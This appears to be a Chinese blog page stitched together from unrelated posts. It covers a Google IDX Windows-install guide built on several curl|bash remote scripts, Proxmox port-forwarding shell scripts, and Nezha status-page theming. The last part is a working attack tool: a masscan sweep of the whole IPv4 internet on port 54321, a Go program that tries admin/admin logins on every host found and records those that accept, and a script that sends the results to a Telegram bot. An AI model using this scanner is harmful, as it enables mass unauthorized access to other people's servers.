本文介绍Google IDX 普通空间安装Windows 以及其他操作系统

所有资料均来源于互联网。

鉴于Google idx 的android  studio 需要申请了。所以只能使用普通工作空间安装windows


1、打开Google idx 网站 https://idx.google.com

2、点击import Repo

![image.png](/static/img/4f45a87f4123f44517472942e6509bb4.image.webp)

输入 https://github.com/NothingTheking/vps

name your workspace 随便填写

**下面的✅一定要打上**

![image.png](/static/img/88ba8645f15087d00ee1aea39379efee.image.webp)

3、点击import

4、进去之后打开一个终端


![image.png](/static/img/ce337bc689fea874f7df3d0b4d7291d2.image.webp)

5、在终端输入命令

`
bash <(curl -Ls https://raw.githubusercontent.com/NothingTheking/all-in-one/refs/heads/main/main.sh)
`

选2 回车

6、打开图示的dex.nix 然后点击
![image.png](/static/img/6accdb38763160eecd415036d554ccc2.image.webp)按钮

![image.png](/static/img/8e07581e3388f52d02ebad84f4665e14.image.webp)

7、等重新进入工作区之后，在终端输入命令：

`
bash <(curl -Ls https://raw.githubusercontent.com/chengdada123/script/refs/heads/main/idx_win.sh)
`

首次运行会提示是否安装过虚拟机，没有安装过输入n 回车

中间有停住了回车就行。


![image.png](/static/img/204d265c98b120db6bd71ec3450781c6.image.webp)

8、等待下载镜像安装完成。


看到
![](https://blog.881819.xyz/static/img/c7e9e125a7c860fc57aeb1c446d25283.image.webp)
 说明安装成功
 
 在dev.nix 里加上启动项，注意放在{}里，图示的位置。      
`main = "bash -c \"printf '2\\n1\\n' | /home/user/vps/vm.sh\" &";
`
 
 
![image.png](/static/img/1a33bc62a0bf1535e80fd307a54dd0c9.image.webp)

点击![image.png](/static/img/6accdb38763160eecd415036d554ccc2.image.webp)按钮重新进入工作空间。


9、在工作空间安装frp 等内网穿透就可以愉快的玩耍了。

如果你有frps 服务器，可以直接使用一键脚本安装frpc客户端了。

`
bash <(curl -Ls https://raw.githubusercontent.com/chengdada123/script/refs/heads/main/frpc.sh)
`

当然你也可以在dev.nix 里加上frpc的启动项，这样每次工作空间启动，虚拟机和frpc 都会自动启动。

`
frpc = "/home/user/frp_0.65.0/frpc -c /home/user/frp_0.65.0/frpc.toml &";
`

值得注意的是：这个虚拟机的配置都是虚拟的，其实并不高，硬盘总共可能不到10G，不要玩炸了。

10、 windows 的用户名和密码请联系TG: https://t.me/chushuo_ge







如果想安装其他操作系统可以使用ALL IN ONE :


`
bash <(curl -Ls https://raw.githubusercontent.com/chengdada123/script/refs/heads/main/idx_allinone.sh)
`




`main = "bash -c \"printf '2\\n1\\n' | bash <(curl -fsSL https://raw.githubusercontent.com/chengdada123/script/refs/heads/main/idx_allinone.sh)\" &";
`




 

Google IDX 普通空间安装Windows 以及其他操作系统

```bash
apt-get install arp-scan
```

```bash
#!/bin/bash
#export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LOGFILE="port_forwarding.log"
NETWORK_INTERFACE="vmbr1"

echo "[$(date)] 开始执行端口转发脚本" >> "$LOGFILE"

# 获取所有运行中的虚拟机的ID和MAC地址
VM_INFO=$(/usr/sbin/qm list | awk '/running/{print $1, $2}')
echo "[$(date)] 获取到的虚拟机信息: $VM_INFO" >> "$LOGFILE"

# 获取虚拟机MAC地址的函数
function get_vm_mac {
  local vm_id=$1
  mac=$(/usr/sbin/qm config $vm_id | grep -i "net0" | awk -F ',' '{print $1}' | awk -F '=' '{print $2}')
  echo $mac
}

# 获取虚拟机IP地址的函数
function get_vm_ip {
  local vm_mac=$1
  ip=$(sudo arp-scan --interface=$NETWORK_INTERFACE --localnet | grep -i "$vm_mac" | awk '{print $1}')
  echo $ip
}

# 设置端口转发函数
function setup_port_forwarding {
  local host_port=$1
  local vm_ip=$2
  local vm_port=$3

  # 检查是否已存在转发规则
  if ! iptables -t nat -L PREROUTING -n | grep -q "$vm_ip:$vm_port"; then
    iptables -t nat -A PREROUTING -p tcp --dport "$host_port" -j DNAT --to-destination "$vm_ip:$vm_port"
    iptables -t nat -A POSTROUTING -p tcp -d "$vm_ip" --dport "$vm_port" -j MASQUERADE
    echo "[$(date)] 添加转发规则：宿主机端口 $host_port -> $vm_ip:$vm_port" >> "$LOGFILE"
  else
    echo "[$(date)] 转发规则已存在：宿主机端口 $host_port -> $vm_ip:$vm_port" >> "$LOGFILE"
  fi
}

# 配置端口转发规则
while read -r VM_ID VM_NAME; do
  echo "[$(date)] 处理虚拟机ID: $VM_ID, 名称: $VM_NAME" >> "$LOGFILE"
  
  VM_MAC=$(get_vm_mac $VM_ID)
  echo "[$(date)] 获取到的虚拟机MAC地址: $VM_MAC" >> "$LOGFILE"
  
  VM_IP=$(get_vm_ip $VM_MAC)
  echo "[$(date)] 获取到的虚拟机IP地址: $VM_IP" >> "$LOGFILE"
  
  if [[ $VM_IP =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]]; then
    IP_SUFFIX=$(echo $VM_IP | awk -F '.' '{print $4}')
    
    # 设置22端口的转发规则
    setup_port_forwarding $((22000 + IP_SUFFIX)) $VM_IP 22

    # 设置80端口的转发规则
    setup_port_forwarding $((18000 + IP_SUFFIX)) $VM_IP 80

    # 设置30-40端口的转发规则
    for PORT in {30..40}; do
      setup_port_forwarding $((PORT * 1000 + IP_SUFFIX)) $VM_IP $((PORT * 1000 + IP_SUFFIX))
    done
  else
    echo "[$(date)] 无效的IP地址: $VM_IP" >> "$LOGFILE"
  fi
done <<< "$VM_INFO"

# 保存iptables规则
/sbin/iptables-save > /etc/iptables/rules.v4

echo "[$(date)] 端口转发规则设置完成。" >> "$LOGFILE"
```
将上述脚本保存在/home/ip 文件夹，并命名为ip.sh
添加计划任务：
nano /etc/crontab

*/5  * * * *    root    cd /home/ip/ && ./ip.sh >> /home/ip/cron.log 2>&1



启动cron服务：

```bash
sudo systemctl start cron
sudo systemctl enable cron
```
检查cron服务状态：


```js
sudo systemctl status cron
```
2024-07-31 更新。适应kvm 和CT 

```bash
#!/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LOGFILE="port_forwarding.log"
NETWORK_INTERFACE="vmbr1"

log() {
    echo "[$(date)] $1" >> "$LOGFILE"
}

log "开始执行端口转发脚本"

# 获取所有运行中的KVM虚拟机的ID和名称
VM_INFO=$(/usr/sbin/qm list | awk '/running/{print $1, $2}')
log "获取到的KVM虚拟机信息: $VM_INFO"

# 获取所有运行中的LXC容器的ID和名称
CT_INFO=$(/usr/sbin/pct list | awk '/running/{print $1, $2}')
log "获取到的容器信息: $CT_INFO"

# 获取KVM虚拟机MAC地址的函数
get_vm_mac() {
  local vm_id=$1
  /usr/sbin/qm config "$vm_id" | grep -i "net0:" | awk -F ',' '{print $1}' | awk -F '=' '{print $2}'
}

# 获取LXC容器MAC地址的函数
get_ct_mac() {
  local ct_id=$1
  /usr/sbin/pct config "$ct_id" | grep -i "net0" | awk -F ',|=' '{for(i=1;i<=NF;i++) if ($i ~ /hwaddr/) print $(i+1)}'
}

# 获取IP地址的函数
get_ip() {
  local mac=$1
  sudo arp-scan --interface="$NETWORK_INTERFACE" --localnet | grep -i "$mac" | awk '{print $1}'
}

# 设置端口转发函数
setup_port_forwarding() {
  local host_port=$1
  local ip=$2
  local port=$3

  # 检查是否已存在转发规则
  if ! iptables -t nat -L PREROUTING -n | grep -q "$ip:$port"; then
    iptables -t nat -A PREROUTING -p tcp --dport "$host_port" -j DNAT --to-destination "$ip:$port"
    iptables -t nat -A POSTROUTING -p tcp -d "$ip" --dport "$port" -j MASQUERADE
    log "添加转发规则：宿主机端口 $host_port -> $ip:$port"
  else
    log "转发规则已存在：宿主机端口 $host_port -> $ip:$port"
  fi
}

# 处理KVM虚拟机
if [ -n "$VM_INFO" ]; then
  while read -r VM_ID VM_NAME; do
    log "处理KVM虚拟机ID: $VM_ID, 名称: $VM_NAME"
    
    if [ -z "$VM_ID" ]; then
      log "无法获取KVM虚拟机ID $VM_ID 的MAC地址"
      continue
    fi

    VM_MAC=$(get_vm_mac "$VM_ID")
    if [ -z "$VM_MAC" ]; then
      log "无法获取KVM虚拟机ID $VM_ID 的MAC地址"
      continue
    fi
    log "获取到的KVM虚拟机MAC地址: $VM_MAC"
    
    VM_IP=$(get_ip "$VM_MAC")
    if [ -z "$VM_IP" ]; then
      log "无法获取KVM虚拟机MAC $VM_MAC 的IP地址"
      continue
    fi
    log "获取到的KVM虚拟机IP地址: $VM_IP"
    
    if [[ $VM_IP =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]]; then
      IP_SUFFIX=$(echo "$VM_IP" | awk -F '.' '{print $4}')
      
      # 设置22端口的转发规则
      setup_port_forwarding $((22000 + IP_SUFFIX)) "$VM_IP" 22

      # 设置80端口的转发规则
      setup_port_forwarding $((18000 + IP_SUFFIX)) "$VM_IP" 80

      # 设置30-40端口的转发规则
      for PORT in {30..40}; do
        setup_port_forwarding $((PORT * 1000 + IP_SUFFIX)) "$VM_IP" $((PORT * 1000 + IP_SUFFIX))
      done
    else
      log "无效的IP地址: $VM_IP"
    fi
  done <<< "$VM_INFO"
else
  log "没有运行中的KVM虚拟机"
fi

# 处理LXC容器
if [ -n "$CT_INFO" ]; then
  while read -r CT_ID CT_NAME; do
    log "处理容器ID: $CT_ID, 名称: $CT_NAME"
    
    if [ -z "$CT_ID" ]; then
      log "无法获取容器ID $CT_ID 的MAC地址"
      continue
    fi

    CT_MAC=$(get_ct_mac "$CT_ID")
    if [ -z "$CT_MAC" ]; then
      log "无法获取容器ID $CT_ID 的MAC地址"
      continue
    fi
    log "获取到的容器MAC地址: $CT_MAC"
    
    CT_IP=$(get_ip "$CT_MAC")
    if [ -z "$CT_IP" ]; then
      log "无法获取容器MAC $CT_MAC 的IP地址"
      continue
    fi
    log "获取到的容器IP地址: $CT_IP"
    
    if [[ $CT_IP =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]]; then
      IP_SUFFIX=$(echo "$CT_IP" | awk -F '.' '{print $4}')
      
      # 设置22端口的转发规则
      setup_port_forwarding $((22000 + IP_SUFFIX)) "$CT_IP" 22

      # 设置80端口的转发规则
      setup_port_forwarding $((18000 + IP_SUFFIX)) "$CT_IP" 80

      # 设置30-40端口的转发规则
      for PORT in {30..40}; do
        setup_port_forwarding $((PORT * 1000 + IP_SUFFIX)) "$CT_IP" $((PORT * 1000 + IP_SUFFIX))
      done
    else
      log "无效的IP地址: $CT_IP"
    fi
  done <<< "$CT_INFO"
else
  log "没有运行中的LXC容器"
fi

# 保存iptables规则
/sbin/iptables-save > /etc/iptables/rules.v4

log "端口转发规则设置完成。"

```


```bash
#!/bin/bash

set -euo pipefail


LOGFILE="clean_port_forwarding.log"

log() { echo "[$(date '+%F %T')] $1" | tee -a "$LOGFILE"; }


log "开始清理端口转发规则..."


is_ip_online() {

    local ip=$1

    ping -c 2 -W 1 "$ip" >/dev/null 2>&1

}


delete_rule() {

    local host_port=$1 ip=$2 port=$3

    log "删除转发规则: 宿主机端口 $host_port -> $ip:$port"

    iptables -t nat -D PREROUTING -p tcp --dport "$host_port" -j DNAT --to-destination "$ip:$port" || log "删除PREROUTING失败"

    iptables -t nat -D POSTROUTING -p tcp -d "$ip" --dport "$port" -j MASQUERADE || log "删除POSTROUTING失败"

}


iptables -t nat -S PREROUTING | while read -r line; do

    if [[ "$line" =~ ^-A\ PREROUTING.*-p\ tcp.*--dport\ ([0-9]+).*--to-destination\ ([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+):([0-9]+) ]]; then

        host_port="${BASH_REMATCH[1]}"

        ip="${BASH_REMATCH[2]}"

        port="${BASH_REMATCH[3]}"


        if ! is_ip_online "$ip"; then

            delete_rule "$host_port" "$ip" "$port"

        else

            log "目标IP $ip 在线，保留规则: 宿主机端口 $host_port -> $ip:$port"

        fi

    fi

done


log "端口转发规则清理完成。"

```

pve 端口转发

```js

<style>
/* 屏幕适配 */
@media only screen and (min-width: 1200px) {
    .ui.container {
    width: 80% !important;
}
}


/* 整体图标 */
i.icon {
    color: #000;
    width: 1.2em !important;
}
/* 背景图片 */
body {
    content: " " !important;
    background: fixed !important;
    z-index: -1 !important;
    top: 0 !important;
    right: 0 !important;
    bottom: 0 !important;
    left: 0 !important;
    background-position: top !important;
    background-repeat: no-repeat !important;
    background-size: cover !important;
    background-image: url(https://im.mibo.live/system/cache/media_attachments/files/111/860/641/805/938/534/original/32d28906e08af63e.jpeg) !important;
    font-family: Arial,Helvetica,sans-serif !important;
}
/* 导航栏 */
.ui.large.menu {
    border: 0 !important;
    border-radius: 0px !important;
    background-color: rgba(255, 255, 255, 55%) !important;
}
/* 首页按钮 */
.ui.menu .active.item {
    background-color: transparent !important;
}
/* 导航栏下拉框 */
.ui.dropdown .menu {
    border: 0 !important;
    border-radius: 0 !important;
    background-color: rgba(255, 255, 255, 80%) !important;
}
/* 登陆按钮 */
.nezha-primary-btn {
    background-color: transparent !important;
    color: #000 !important;
}



/* 大卡片 */
#app .ui.fluid.accordion {
    background-color: #fbfbfb26 !important;
    border-radius: 0.4rem !important;
}
/* 小卡片 */
.ui.four.cards>.card {
    border-radius: 0.6rem !important;
    background-color: #fafafaa3 !important;
}
.status.cards .wide.column {
    padding-top: 0 !important;
    padding-bottom: 0 !important;
    height: 3.3rem !important;
}
.status.cards .three.wide.column {
    padding-right: 0rem !important;
}
.status.cards .wide.column:nth-child(1) {
    margin-top: 2rem !important;
}
.status.cards .wide.column:nth-child(2) {
    margin-top: 2rem !important;
}
.status.cards .description {
    padding-bottom: 0 !important;
}
/* 小鸡名 */
.status.cards .flag {
    margin-right: 0.5rem !important;
}
/* 弹出卡片图标 */
.status.cards .header > .info.icon {
    margin-right: 0 !important;
}
.nezha-secondary-font {
    color: #21ba45 !important;
}
/* 进度条 */
.ui.progress {
    border-radius: 50rem !important;
}
.ui.progress .bar {
    min-width: 1.8em !important;
    border-radius: 15px !important;
    line-height: 1.65em !important;
}
.ui.fine.progress> .bar {
    background-color: #21ba45 !important;
}
.ui.progress> .bar {
    background-color: #000 !important;
}
.ui.progress.fine .bar {
    background-color: #21ba45 !important;
}
.ui.progress.warning .bar {
    background-color: #ff9800 !important;
}
.ui.progress.error .bar {
    background-color: #e41e10 !important;
}
.ui.progress.offline .bar {
    background-color: #000 !important;
}
/* 上传下载 */
.status.cards .outline.icon {
    margin-right: 1px !important;
}
i.arrow.alternate.circle.down.outline.icon {
    color: #21ba45 !important;
}
i.arrow.alternate.circle.up.outline.icon {
    color: red !important;
}
/* 弹出卡片小箭头 */
.ui.right.center.popup {
    margin: -3px 0 0 0.914286em !important;
    -webkit-transform-origin: left 50% !important;
    transform-origin: left 50% !important;
}
.ui.bottom.left.popup {
    margin-left: 1px !important;
    margin-top: 3px !important;
}
.ui.top.left.popup {
    margin-left: 0 !important;
    margin-bottom: 10px !important;
}
.ui.top.right.popup {
    margin-right: 0 !important;
    margin-bottom: 8px !important;
}
.ui.left.center.popup {
    margin: -3px .91428571em 0 0 !important;
    -webkit-transform-origin: right 50% !important;
    transform-origin: right 50% !important;
}
.ui.right.center.popup:before,
.ui.left.center.popup:before {
    border: 0px solid #fafafaeb !important;
    background: #fafafaeb !important;
}
.ui.top.popup:before {
    border-color: #fafafaeb transparent transparent !important;
}
.ui.popup:before {
    border-color: #fafafaeb transparent transparent !important;
}
.ui.bottom.left.popup:before {
    border-radius: 0 !important;
    border: 1px solid transparent !important;
    border-color: #fafafaeb transparent transparent !important;
    background: #fafafaeb !important;
    -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
    box-shadow: 0px 0px 0 0 #fafafaeb !important;
    -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
}
.ui.bottom.right.popup:before {
    border-radius: 0 !important;
    border: 1px solid transparent !important;
    border-color: #fafafaeb transparent transparent !important;
    background: #fafafaeb !important
    -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
    box-shadow: 0px 0px 0 0 #fafafaeb !important;
    -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
}
.ui.top.left.popup:before {
    border-radius: 0 !important;
    border: 1px solid transparent !important;
    border-color: #fafafaeb transparent transparent !important;
    background: #fafafaeb !important;
    -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
    box-shadow: 0px 0px 0 0 #fafafaeb !important;
    -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
}
.ui.top.right.popup:before {
    border-radius: 0 !important;
    border: 1px solid transparent !important;
    border-color: #fafafaeb transparent transparent !important;
    background: #fafafaeb !important;
    -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
    box-shadow: 0px 0px 0 0 #fafafaeb !important;
    -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
}
.ui.left.center.popup:before {
    border-radius: 0 !important;
    border: 1px solid transparent !important;
    border-color: #fafafaeb transparent transparent !important;
    background: #fafafaeb !important;
    -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
    box-shadow: 0px 0px 0 0 #fafafaeb !important;
    -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
}
/* 弹出卡片 */
.status.cards .ui.content.popup {
    min-width: 20rem !important;
    line-height: 2rem !important;
    border-radius: 5px !important;
    border: 1px solid transparent !important;
    background-color: #fafafaeb !important;
    font-family: Arial,Helvetica,sans-serif !important;
}
.ui.content {
    margin: 0 !important;
    padding: 1em !important;
}
/* 服务页 */
.ui.table {
    background: RGB(225,225,225,0.6) !important;
}
.ui.table thead th {
    background: transparent !important;
}
/* 服务页进度条 */
.service-status .good {
    background-color: #21ba45 !important;
}
.service-status .danger {
    background-color: red !important;
}
.service-status .warning {
    background-color: orange !important;
}
/* 版权 */
.ui.inverted.segment, .ui.primary.inverted.segment {
    color: #000 !important;
    font-weight: bold !important;
    background-color: #fafafaa3 !important;
}
</style>

<script>
window.onload = function(){
var avatar=document.querySelector(".item img")
var footer=document.querySelector("div.is-size-7")
footer.innerHTML="CopyRihgt @ nezha.free.hr"
footer.style.visibility="visible"
avatar.src="https://ip.mibo.live/favicon.ico"
avatar.style.visibility="visible"
}
var faviconurl="https://ip.mibo.live/favicon.ico" ;                  
var link = document.querySelector("link[rel*='icon']") || document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = faviconurl;
document.getElementsByTagName('head')[0].appendChild(link);
</script>
<script>
document.addEventListener("DOMContentLoaded", function() {
    // 通过标签名获取图片元素
    var imgElement = document.querySelector('.navbar-brand img');
    
    // 确保元素存在后再修改src属性
    if (imgElement) {
        imgElement.src = "https://ip.mibo.live/favicon.ico";
    } else {
        console.error("找不到图片元素");
    }
});


</script>
<script>


document.addEventListener('DOMContentLoaded', function() {
    var downtimeCells = document.querySelectorAll('th.node-cell.os.center');
    downtimeCells.forEach(function(cell) {
        // 创建一个新的 <th> 元素
        var newTh = document.createElement('th');
        // 添加 class 属性
        newTh.className = 'node-cell downtime center';
        // 设置新元素的文本内容
        newTh.textContent = '备注';
        // 将新元素插入到当前单元格的后面
        cell.parentNode.insertBefore(newTh, cell.nextSibling);
    });
});


</script>
<script>
document.addEventListener('DOMContentLoaded', function() {
    const affLinks = {
        19: {
           // expiration: new Date('2024-12-31'),
            content: {
                type: 'link',
                value: 'https://baidu.com',
                label: '购买同款',
                icon: 'https://img.icons8.com/?size=24&id=63312&format=png',
                iconAlt: 'Icon'
            }
        },
        31: { 
           // expiration: new Date('2024-12-31'),
            content: {
                type: 'icon',
                value: 'https://img.icons8.com/?size=24&id=g8ltXTwIfJ1n&format=png',
           //     label: 'Icon',
            //    text: '赞'
            }
        },
        37: { 
            expiration: new Date('2024-12-31'),
            content: {
                type: 'text',
              //  value: 'https://cdn3.iconfinder.com/data/icons/font-awesome-regular-1/640/handshake-64.png',
              //  label: 'Icon',
                value: ''
            }
        },
        39: { 
            //expiration: new Date('2024-12-31'),
            content: {
                type: 'text',
              //  value: 'https://cdn3.iconfinder.com/data/icons/font-awesome-regular-1/640/handshake-64.png',
              //  label: 'Icon',
                value: '一切从白嫖开始'
            }
        },
        36: { 
            expiration: new Date('3014-12-31'),
            content: {
                type: 'text',
                value: ''
            }
        }
    };

    const createLink = (linkConfig) => {
        const $link = document.createElement('a');
        $link.href = linkConfig.value;
        $link.textContent = linkConfig.label || linkConfig.value;

        if (linkConfig.icon) {
            const $icon = document.createElement('img');
            $icon.src = linkConfig.icon;
            $icon.alt = linkConfig.iconAlt || '';
            $link.appendChild($icon);
        }

        if (linkConfig.text) {
            const $text = document.createElement('span');
            $text.textContent = linkConfig.text;
            $link.appendChild(document.createTextNode(' '));
            $link.appendChild($text);
        }

        return $link;
    };

    const createIcon = (iconConfig) => {
        const $icon = document.createElement('img');
        $icon.src = iconConfig.value;
        $icon.alt = iconConfig.label || 'Icon';

        if (iconConfig.text) {
            const $text = document.createElement('span');
            $text.textContent = iconConfig.text;
            $icon.appendChild(document.createTextNode(' '));
            $icon.appendChild($text);
        }

        return $icon;
    };

    const createCountdown = (expirationDate) => {
        const $countdown = document.createElement('div');
        $countdown.textContent = ' ';

        const $countdownTime = document.createElement('span');

        const updateCountdown = () => {
            const now = new Date();
            const diff = expirationDate.getTime() - now.getTime();
            if (diff <= 0) {
                clearInterval(countdownInterval);
                $countdownTime.textContent = '已过期';
                return;
            }

            const days = Math.floor(diff / (1000 * 60 * 60 * 24));
            const hours = Math.floor((diff % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
            const minutes = Math.floor((diff % (1000 * 60 * 60)) / (1000 * 60));
            const seconds = Math.floor((diff % (1000 * 60)) / 1000);

            $countdownTime.textContent = `${days}天 ${hours}小时 ${minutes}分钟 ${seconds}秒`;
        };

        const countdownInterval = setInterval(updateCountdown, 1000);
        updateCountdown();

        $countdown.appendChild($countdownTime);

        return $countdown;
    };

    const rows = document.querySelectorAll('tr');
    rows.forEach((row, index) => {
        let osCell = row.querySelector('td.node-cell.os.center');
        let downtimeCell = document.createElement('td');
        downtimeCell.classList.add('node-cell', 'downtime', 'center');
        let nodeId = row.id.substring(1); 
        let affLink = affLinks[nodeId];
        if (!affLink) {
            affLink = {
                content: {
                    type: 'text',
                    value: '未定义'
                }
            };
        }
        if (osCell && affLink && affLink.content) {
            switch (affLink.content.type) {
                case 'link':
                    let link = createLink(affLink.content);
                    downtimeCell.appendChild(link);
                    break;
                case 'icon':
                    let icon = createIcon(affLink.content);
                    downtimeCell.appendChild(icon);
                    break;
                default:
                    let text = document.createTextNode(affLink.content.value);
                    downtimeCell.appendChild(text);
                    break;
            }

            if (affLink.expiration) {
                let countdown = createCountdown(affLink.expiration);
                downtimeCell.appendChild(countdown);
            }

            osCell.parentNode.insertBefore(downtimeCell, osCell.nextSibling);
        }
    });
});
</script>
```

哪吒server status 主题修改logo以及倒计时




![image.png](/static/img/151f0705fe00ce7358a289c0f406686f.image.webp)

```


var self = this;
    setTimeout(function() {
      

        var copyrightElement = document.querySelector('.copyright');
        if (copyrightElement) {
            // 修改版权信息
            copyrightElement.textContent = 'Copyright © 2024 nezha.heju.me ';
        }
    }, 100); 
```

关于mynodequery底部信息的问题

特别提示：使用以下脚本请遵守当地法律法规。使用本脚本产生的任何后果和损失本站不承担任何责任。
```bash

sudo apt-get --assume-yes install git make gcc
git clone https://github.com/robertdavidgraham/masscan
cd masscan
make
```


```bash
make install

```


```bash
echo -e "10.0.0.0/8\n172.16.0.0/12\n192.168.0.0/16" > exclude.txt

masscan -p 54321 0.0.0.0/0 --excludefile exclude.txt --wait=3 --rate=999999999 -oL data.txt --interface eth0
```

下载ip数据库

```bash
wget https://r2.bestip.one/ip/GeoLite2-City.mmdb
```

main.go


```go
package main

import (
	"bufio"
	"bytes"
	"crypto/tls"
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net"
	"net/http"
	"os"
	"os/exec"
	"strings"
	"sync"
	"time"

	"github.com/oschwald/geoip2-golang"
)

func init() {
	log.SetOutput(io.Discard) // 忽略所有标准日志输出
}

func login(url string) (bool, string) {
	// Create POST request body data
	data := []byte(`{"username": "admin", "password": "admin"}`)

	// Configure HTTP client with desired settings
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client := &http.Client{
		Transport: tr,
		Timeout:   1 * time.Second,
	}

	// Send POST request
	resp, err := client.Post(url, "application/json", bytes.NewBuffer(data))
	if err != nil {
		return false, ""
	}
	defer resp.Body.Close()

	// Read response body
	var result map[string]interface{}
	err = json.NewDecoder(resp.Body).Decode(&result)
	if err != nil {
		return false, ""
	}

	//提取响应头中的Set-Cookie字段
	cookie := resp.Header.Get("Set-Cookie")

	// Check if "success" field exists in the response
	if _, ok := result["success"]; !ok {
		return false, ""
	}

	// Assert the value of "success" field as a boolean
	switch result["success"].(type) {
	case bool:
		return result["success"].(bool), cookie
	default:
		return false, ""
	}
}

func main() {
	url, _, ip, err := readIPs("data.txt")
	if err != nil {
		fmt.Printf("无法读取IP列表: %v\n", err)
		return
	}
	fmt.Println("预计消耗时间: ", len(url)/400, "秒")
	file, err := os.OpenFile("result.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		fmt.Printf("无法打开文件: %v\n", err)
		return
	}
	defer file.Close()
	var wg sync.WaitGroup
	wg.Add(len(url))

	resultChan := make(chan string, len(url))

	thread := make(chan struct{}, 400)

	var count int
	total := len(url)
	var lastPercentage float64 = -1
	for i, v := range url {
		thread <- struct{}{}
		go func(v string, i int) {
			defer func() {
				<-thread
				wg.Done()
				count++
				percentage := float64(count) / float64(total) * 100
				if percentage != lastPercentage {
					fmt.Printf("\r已完成: %d 总数: %d 已完成: %.2f%%", count, total, percentage)
					lastPercentage = percentage
				}
			}()
			if flag, _ := login(v + "/login"); flag {
				fmt.Println(v + "  " + GeoIP(ip[i]) + "                                                ")
				resultChan <- v + "  " + GeoIP(ip[i])
				file.WriteString(v + "  " + GeoIP(ip[i]) + "\n")
			}
		}(v, i)
	}

	wg.Wait()
	close(resultChan)
	if len(resultChan) == 0 {
		fmt.Println("没有发现有效的IP")
		return
	}
	defer executeShellScript()
}

func readIPs(File string) ([]string, []string, []string, error) {
	file, err := os.Open(File)
	if err != nil {
		return nil, nil, nil, err
	}
	defer file.Close()
	var urls []string
	var lines []string
	var ips []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		line := scanner.Text()
		parts := strings.Fields(line)
		if len(parts) < 4 {
			fmt.Println(line, "行格式错误")
			continue
		}
		ipAddr := parts[3]
		port := parts[2]
		add := "http://" + ipAddr + ":" + port
		urls = append(urls, add)
		lines = append(lines, line)
		ips = append(ips, ipAddr)
	}
	return urls, lines, ips, scanner.Err()
}

func GeoIP(ip string) string {
	db, err := geoip2.Open("GeoLite2-City.mmdb")
	if err != nil {
		fmt.Println(err)
		return "查询失败"
	}
	defer db.Close()

	ipNet := net.ParseIP(ip)
	record, err := db.City(ipNet)
	if err != nil {
		fmt.Println(err)
		return "查询失败"
	}
	if record.Country.Names["zh-CN"] == record.City.Names["zh-CN"] {
		return record.Country.Names["zh-CN"]
	}
	return record.Country.Names["zh-CN"] + record.City.Names["zh-CN"]
}

func executeShellScript() {
	// 设置 Shell 脚本的路径
	scriptPath := "f.sh"

	// 运行 Shell 脚本
	cmd := exec.Command("sh", scriptPath)

	// 执行命令并等待完成
	if err := cmd.Run(); err != nil {
		fmt.Println("执行 Shell 脚本出错:", err)
		return
	}

	fmt.Println("\n脚本执行成功.")
}


```






```bash
#!/bin/bash

# Telegram Bot API Token
TOKEN=""

# Telegram Chat ID (channel or user ID)
CHAT_ID=""

# 文件路径
FILE_PATH="result.txt"

# 发送文件到频道或者个人
send_file() {
    curl -F chat_id="$1" -F document=@"$2" https://api.telegram.org/bot$TOKEN/sendDocument
}

# 发送文件
send_file "$CHAT_ID" "$FILE_PATH"
```

特别提示：使用以上脚本请遵守当地法律法规。使用本脚本产生的任何后果和损失本站不承担任何责任。